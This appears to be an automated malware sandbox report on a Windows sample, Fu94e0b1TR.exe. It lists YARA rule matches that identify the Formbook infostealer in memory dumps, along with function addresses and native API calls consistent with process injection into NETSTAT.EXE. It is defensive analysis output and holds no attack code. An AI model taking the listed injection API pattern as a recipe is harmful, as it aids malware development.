            Source: Yara matchFile source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORY

            System Summary:

            barindex
            Malicious sample detected (through community Yara rule)Show sources
            Source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
            Source: Fu94e0b1TR.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
            Source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_00F5D064
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_00F5F296
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_00F5F298
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00401030
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041B9DA
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041C2B0
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00408C70
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041BC20
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00402D87
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041C58D
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00402D90
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041BE92
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00402FB0
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118F900
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01180D20
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01251D55
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2581
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119D5E0
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119841F
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241002
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119B090
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B20A0
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BEBB0
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A6E30
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D66E30
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7EBB0
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5B090
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5841F
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01002
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5D5E0
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E11D55
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4F900
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D40D20
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DB9DA
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DC2B0
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DBC20
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003C8C70
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003C2D90
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DC58D
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003C2D87
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DBE92
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003C2FB0
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: String function: 02D4B150 appears 32 times
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: String function: 0118B150 appears 35 times
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004185B0 NtCreateFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00418660 NtReadFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004186E0 NtClose,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00418790 NtAllocateVirtualMemory,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004185AA NtCreateFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004186DA NtClose,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041878A NtAllocateVirtualMemory,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9540 NtReadFile,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C99A0 NtCreateSection,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C95D0 NtClose,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9840 NtDelayExecution,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9860 NtQuerySystemInformation,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C98F0 NtReadVirtualMemory,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9710 NtQueryInformationToken,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9780 NtMapViewOfSection,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C97A0 NtUnmapViewOfSection,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9FE0 NtCreateMutant,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9A00 NtProtectVirtualMemory,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9A20 NtResumeThread,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9A50 NtCreateFile,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9660 NtAllocateVirtualMemory,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C96E0 NtFreeVirtualMemory,LdrInitializeThunk,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011CAD30 NtSetContextThread,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9520 NtWaitForSingleObject,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9950 NtQueueApcThread,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9560 NtWriteFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C99D0 NtCreateProcessEx,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C95F0 NtQueryInformationFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9820 NtEnumerateKey,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011CB040 NtSuspendThread,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C98A0 NtWriteVirtualMemory,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011CA710 NtOpenProcessToken,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9B00 NtSetValueKey,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9730 NtQueryVirtualMemory,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9770 NtSetInformationFile,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011CA770 NtOpenThread,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9760 NtOpenProcess,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011CA3B0 NtGetContextThread,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9610 NtEnumerateValueKey,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9A10 NtQuerySection,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9650 NtQueryValueKey,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9670 NtQueryInformationProcess,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C9A80 NtOpenDirectoryObject,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C96D0 NtCreateKey,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D896D0 NtCreateKey,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D896E0 NtFreeVirtualMemory,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89650 NtQueryValueKey,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89A50 NtCreateFile,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89660 NtAllocateVirtualMemory,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89FE0 NtCreateMutant,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89780 NtMapViewOfSection,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89710 NtQueryInformationToken,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89840 NtDelayExecution,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89860 NtQuerySystemInformation,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D895D0 NtClose,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D899A0 NtCreateSection,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89540 NtReadFile,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89910 NtAdjustPrivilegesToken,LdrInitializeThunk,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89A80 NtOpenDirectoryObject,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89670 NtQueryInformationProcess,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89610 NtEnumerateValueKey,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89A10 NtQuerySection,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89A00 NtProtectVirtualMemory,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89A20 NtResumeThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8A3B0 NtGetContextThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D897A0 NtUnmapViewOfSection,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89770 NtSetInformationFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8A770 NtOpenThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89760 NtOpenProcess,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8A710 NtOpenProcessToken,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89B00 NtSetValueKey,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89730 NtQueryVirtualMemory,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D898F0 NtReadVirtualMemory,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D898A0 NtWriteVirtualMemory,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8B040 NtSuspendThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89820 NtEnumerateKey,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D899D0 NtCreateProcessEx,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D895F0 NtQueryInformationFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89950 NtQueueApcThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89560 NtWriteFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D8AD30 NtSetContextThread,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D89520 NtWaitForSingleObject,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D85B0 NtCreateFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D8660 NtReadFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D86E0 NtClose,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D8790 NtAllocateVirtualMemory,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D85AA NtCreateFile,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D86DA NtClose,
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D878A NtAllocateVirtualMemory,
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameObjectMarshal.exe6 vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: OriginalFilename vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: m,\\StringFileInfo\\000004B0\\OriginalFilename vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000000.00000002.287588690.00000000070D0000.00000004.00020000.sdmpBinary or memory string: OriginalFilenameUI.dll< vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000005.00000002.272314311.00000000003AE000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameObjectMarshal.exe6 vs Fu94e0b1TR.exe
